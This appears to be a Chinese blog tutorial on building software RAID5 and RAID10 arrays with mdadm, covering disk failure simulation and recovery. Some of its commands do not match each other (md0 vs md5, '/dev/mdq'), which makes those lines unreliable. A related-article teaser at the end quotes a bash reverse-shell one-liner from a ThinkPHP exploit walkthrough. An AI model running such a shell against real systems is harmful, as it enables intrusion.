软件RAID配置实战(2个案例场景)
文章目录
- 3、软件RAID管理-mdadm工具
- 安装mdadm组件
- 格式
- 示例
- 选项说明
- mdadm命令其它常用选项
- 4、相关查询命令
- 查看创建RAID的进度
- 查看RAID磁盘详细信息
- 查看文件系统的磁盘空间使用情况
- 5、RAID配置示例
- 场景1:RAID5
- 步骤
- 场景2:RAID10
- 步骤
- 6、移除RAID阵列
接上篇理论部分:认识RAID磁盘阵列
现在通过mdadm工具来完成软件RAID5和RAID10的Linux配置。
3、软件RAID管理-mdadm工具
mdadm
(multiple devices admin)是一个用于管理 Linux 软件 RAID (Redundant Array of Independent Disks) 的命令行工具。RAID 是一种将多个物理硬盘组合成一个或多个逻辑单元的技术,以提高数据冗余和性能。mdadm
提供了一套完整的工具来创建、管理和监控 Linux 下的软件 RAID 阵列。
安装mdadm组件
yum install mdadm
检查是否安装了组件
rpm -qa | grep "mdadm"
格式
- 创建新的 RAID 阵列 (
-C
/--create
)
mdadm -C -v /dev/mdX -l<RAID 级别> -n<磁盘数量> <磁盘列表>
C
:表示创建新的 RAID 阵列。v
:显示详细信息。/dev/mdX
:RAID 阵列的设备名称。l
:指定 RAID 级别(如 0, 1, 5, 6, 10 等)。n
:指定用于创建 RAID 的磁盘数量。<磁盘列表>
:参与 RAID 的磁盘分区列表。
- 显示 RAID 阵列的详细信息 (
-D
/--detail
)
mdadm --detail <RAID device>
<RAID device>
:要查看详细信息的 RAID 阵列的设备文件。
示例
mdadm -C -v /dev/md5 -l5 -n3 /dev/sd[b-d]1 -x1 /dev/sde1
选项说明
-C:新建。
-v:显示创建过程中的详细信息。
/dev/md5:创建 RAID5 的名称。
-a yes:–auto,表示如果有什么设备文件没有存在的话就自动创建,可省略。
-l:指定 RAID 的级别,l5 表示创建 RAID5。
-n:指定使用几块硬盘创建 RAID,n3 表示使用 3 块硬盘创建 RAID。
/dev/sd[bcd]1:指定使用这四块磁盘分区去创建 RAID。
-x:指定使用几块硬盘做RAID的热备用盘,-x1表示保留1块
闲的硬盘作备用
/dev/sde1:指定用作于备用的磁盘
mdadm命令其它常用选项
-r:从RAID阵列中移除一个设备
-a:添加一个新设备到 RAID 阵列
-S:停止RAID阵列
-A:启动RAID阵列
-D:查看RAID的详细信息
-E:检查设备是否已经是某个RAID阵列的一部分
-f:—fail将一个设备标记为故障
-R:强制启动一个RAID阵列
4、相关查询命令
查看创建RAID的进度
cat /proc/mdstat
或者使用watch命令可以指定间隔持续查看
watch -n 2 cat /proc/mdstat
在创建时输出:
Personalities : [raid6] [raid5] [raid4]
md5 : active raid5 sdh1[4] sdi1[3](S) sdg1[1] sdf1[0]104787968 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_][===========>.........] recovery = 55.7% (29220992/52393984) finish=1.8min speed=204403K/secunused devices: <none>
创建完成后输出:
Personalities : [raid6] [raid5] [raid4]
md5 : active raid5 sdh1[4] sdi1[3](S) sdg1[1] sdf1[0]104787968 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]unused devices: <none>
查看RAID磁盘详细信息
mdadm -D /dev/md5
输出:
/dev/md5:Version : 1.2Creation Time : Thu Oct 13 18:13:17 2022Raid Level : raid5Array Size : 41908224 (39.97 GiB 42.91 GB)Used Dev Size : 20954112 (19.98 GiB 21.46 GB)Raid Devices : 3Total Devices : 4Persistence : Superblock is persistentUpdate Time : Thu Oct 13 18:15:02 2022State : clean Active Devices : 3 ---激活的设备Working Devices : 4 ---工作的设备Failed Devices : 0 ---不工作的设备Spare Devices : 1 ---空闲的设备Layout : left-symmetricChunk Size : 512KConsistency Policy : resyncName : 192.168.233.21:5 (local to host 192.168.233.21)UUID : 3d950a02:3b0b3f96:f99f95ff:3149ae0bEvents : 18Number Major Minor RaidDevice State0 8 17 0 active sync /dev/sdb11 8 33 1 active sync /dev/sdc14 8 49 2 active sync /dev/sdd13 8 65 - spare /dev/sde1
查看文件系统的磁盘空间使用情况
df -h
输出示例:
文件系统 容量 已用 可用 已用% 挂载点
devtmpfs 894M 0 894M 0% /dev
tmpfs 910M 0 910M 0% /dev/shm
tmpfs 910M 11M 900M 2% /run
tmpfs 910M 0 910M 0% /sys/fs/cgroup
/dev/mapper/centos-root 25G 5.0G 20G 20% /
/dev/sda1 1014M 185M 830M 19% /boot
/dev/mapper/vg_group-lv_centeral 33G 33M 33G 1% /Central
/dev/mapper/vg_group-lv_north 33G 33M 33G 1% /North
/dev/mapper/vg_group-lv_east 33G 33M 33G 1% /East
tmpfs 182M 12K 182M 1% /run/user/42
tmpfs 182M 0 182M 0% /run/user/0
/dev/md5 100G 33M 100G 1% /mnt/md5
5、RAID配置示例
场景1:RAID5
4个50G的磁盘,组建RAID5磁盘阵列
步骤
- 查看磁盘列表
fdisk -l
- 创建分区,使用fdisk分别进入交互式界面并在交互式界面创建分区
fdisk /dev/sdf
fdisk /dev/sdg
fdisk /dev/sdh
fdisk /dev/sdi
输入n创建新分区,默认分区p,默认起止扇区,最后w保存
使用lsblk可以查看分区列表
- 更改分区类型为“Linux raid autodetect”
使用fdiskz分别进入交互式界面为或者在分区时一次性完成
输入t改变分区系统ID,输入fd将分区类型更改为 “Linux raid autodetect”,该分区将被自动识别为 RAID 分区
注:分区类型代码用来标识不同的文件系统和用途。每个分区类型都有一个对应的十六进制代码。如fd
代码表示分区类型为 “Linux raid autodetect”。可以通过输入 L
列出所有代码。
- 安装mdadm组件
yum install mdadm
检查是否安装了组件
rpm -qa | grep "mdadm"
- 创建RAID5磁盘阵列
mdadm -C -v /dev/md0 -l5 -n3 /dev/sd[bcd]1 -x1 /dev/sde1
- 查看创建进度
cat /proc/mdstat
- 查询详细信息
mdadm -D /dev/md5
- 格式化新创建的阵列盘
mkfs.xfs /dev/md5
- 挂载新创建的磁盘文件
mount /dev/md5 /mnt/md5
- 查看文件系统的磁盘空间使用情况
df -h
- 模拟故障
mdadm /dev/md5 -f /dev/sdh1
- 查看 RAID 状态
mdadm -D /dev/md5
或
mdadm --detail /dev/md5
此时可以看到有一个设备故障
- 恢复RAID阵列
(1)移除故障磁盘
mdadm /dev/md5 -r /dev/sdh1
(2)添加新的或修复的磁盘
mdadm /dev/md5 -a /dev/sdh1
- 检查恢复情况
mdadm -D /dev/md5
经检查,新添加的磁盘重建阵列,稍等片刻恢复正常
场景2:RAID10
依旧4块50G磁盘,每个盘已分区成3个10G和20G的空闲空间,使用每个盘的第2个分区创建RAID10。
思路:先做2个RAID1,再做1个RAID0,先做镜象,再做条带。
分区如下
sdf 8:80 0 50G 0 disk
├─sdf1 8:81 0 10G 0 part
├─sdf2 8:82 0 10G 0 part
└─sdf3 8:83 0 10G 0 part
sdg 8:96 0 50G 0 disk
├─sdg1 8:97 0 10G 0 part
├─sdg2 8:98 0 10G 0 part
└─sdg3 8:99 0 10G 0 part
sdh 8:112 0 50G 0 disk
├─sdh1 8:113 0 10G 0 part
├─sdh2 8:114 0 10G 0 part
└─sdh3 8:115 0 10G 0 part
sdi 8:128 0 50G 0 disk
├─sdi1 8:129 0 10G 0 part
├─sdi2 8:130 0 10G 0 part
└─sdi3 8:131 0 10G 0 part
步骤
- 更改分区类型为“Linux raid autodetect”
打开fdisk工具,输入t改变分区系统ID,输入fd将分区类型更改为 “Linux raid autodetect”
设备 Boot Start End Blocks Id System
/dev/sdh1 2048 20973567 10485760 83 Linux
/dev/sdh2 20973568 41945087 10485760 fd Linux raid autodetect
/dev/sdh3 41945088 62916607 10485760 83 Linux
- 创建2组RAID1
使用sdf2、sdg2和sdh2、sdi2 创建2组RAID1,分别命名md0和md1
mdadm -Cy /dev/md0 -l1 -n2 /dev/sd[fg]2
mdadm -Cv /dev/md1 -l1 -n2 /dev/sd[hi]2
或一条命令写法
mdadm -Cv /dev/md10 -l10 -n4 -x1 /dev/sd{b,c,d,e,f}1
- 创建1组RAID0
使用刚创建的md0和md1创建1组RAID0,命名md10,至此组成RAID10
mdadm -Cv /dev/md10 -l0 -n2 /dev/md0 /dev/md1
- 查看详情信息
查看3个RAID阵列的详细信息,运行正常
mdadm -D /dev/md0
mdadm -D /dev/md1
mdadm -D /dev/md10
- 格式化新分区
格式化刚组成的RAID10分区,即md10
mkfs.xfs /dev/md10
- 模拟故障
可以使两块RAID1各挂1块,如md0的sdf2或sdg2和md1的sdh2或sdi2。
由于RAID0是基于两组RAID1创建的虚拟分区,因此测试其意义不大。
mdadm /dev/md0 -f /dev/sdg2
mdadm /dev/mdq -f /dev/sdi2
- 检查模拟的故障状态
经测试两组各挂了一块盘,RAID1组仍正常运行。
mdadm -D /dev/md0
mdadm -D /dev/md1
- 恢复RAID阵列,即重新添加盘
(1)移除故障磁盘
mdadm /dev/md0 -r /dev/sdg2
mdadm /dev/md1 -r /dev/sdi2
(2)添加新磁盘
mdadm /dev/md0 -a /dev/sdg2
mdadm /dev/md1 -a /dev/sdi2
- 检查恢复情况
mdadm -D /dev/md0mdadm -D /dev/md1mdadm -D /dev/md10
经检查,新添加的磁盘重建阵列,稍等片刻恢复正常
- 挂载到系统
mount /dev/md10 /mnt/md10/
挂载到系统后即可正常使用RAID10磁盘阵列分区
- 检查磁盘信息
使用df -hT命令查看系统中所有文件系统的挂载信息和文件系统类型
df -hT
已成功挂载并且正常显示,一切正常
6、移除RAID阵列
-
卸载文件系统:
如果RAID阵列上有挂载的文件系统,需要先卸载它。
使用
umount /dev/mdX
命令来卸载RAID设备上的文件系统。 -
移除RAID设备:
使用
mdadm -S /dev/mdX
停止RAID阵列。或者使用
mdadm --remove /dev/mdX
命令来移除RAID设备。从mdadm的配置中删除RAID设备的定义,但不会修改磁盘上的数据或分区。
-
清除超级块:
清除RAID成员设备上的超级块信息(以防止将来意外地重新加入RAID阵列,也是彻底移除必需的)。
使用
mdadm --misc --zero-superblock /dev/sdXN
或者mdadm --zero-superblock /dev/sdXN
命令,其中/dev/sdXN
是RAID成员设备的分区名称(例如/dev/sdb1
)。有几块硬盘,就按格式删几次,注意最后面的硬盘名称,也可以写在一条命令:
mdadm --misc --zero-superblock /dev/sdb1 /dev/sdc1 /dev/sdd1 /dev/sde1
-
删除配置文件
删除
rm -rf /etc/mdadm.conf
。
注:部分图片来源于网络,侵删。
相关文章:

软件RAID配置实战(2个案例场景)
文章目录 3、软件RAID管理-mdadm工具安装mdadm组件格式示例选项说明mdadm命令其它常用选项 4、相关查询命令查看创建RAID的进度查看RAID磁盘详细信息查看文件系统的磁盘空间使用情况 5、RAID配置示例场景1:RAID5步骤 场景2:RAID10步骤 6、移除RAID阵列 接…...

# 基于MongoDB实现商品管理系统(2)
基于MongoDB实现商品管理系统(2) 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面,而是控制台来完成的。 具体的需求如下所示: 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...

国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案
近年来,国内视频监控应用迅猛发展,系统接入规模不断扩大,导致了大量平台提供商的涌现。然而,不同平台的接入协议千差万别,使得终端制造商不得不为每款设备维护多个不同平台的软件版本,造成了资源的严重浪费…...
java基础I/O
1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)
目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响
前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数
Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现
实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配
目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!
不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...
windbg常用命令
1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行,不进入函数。 t: 单步执行,进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源
此换镜像源方法只适用x86_64架构的系统,其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中…...
golang使用 copier对象复制时进行类型转化
问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候,我们希望能显示经过格式化过的目标字符串格式,这里我们可以使用自定义的 converter,主要是定义 src 和 dst 类型…...

英特尔18A制程技术分析解读
#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧,英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息,并计划在2025年开始生产。 #### 技术进展 - **里程碑**:英特尔表示,这一里程碑是在…...

【百度面试算法题】2024-08-02
部门项目实际上也涉及到多种语言,有没有意愿去学习其他语言?你是如何利用数据结构来做技术的/项目中是如何解决高并发的?(没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了,开始问八股)说一下单…...

OSPF基础
目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验
1.题目要求: 给你一棵二叉树的根节点 root ,请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中,除了最后一层外,所有层都被完全填满,并且最后一层中的所有节点都尽可能靠左。最后一层(第 h 层)…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?
微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

基础岛 - 8G显存验证书生·浦语大模型的Demo
因为以前用过LMDeploy,所以本章的内容相对熟悉。 另外,因为教程写的很详细保姆级,所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论: LMDeploy的模型加载有点慢,但推理速度快,符合预…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...

相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...

Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...

iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题,无需引入,直接可…...

android13 app的触摸问题定位分析流程
一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...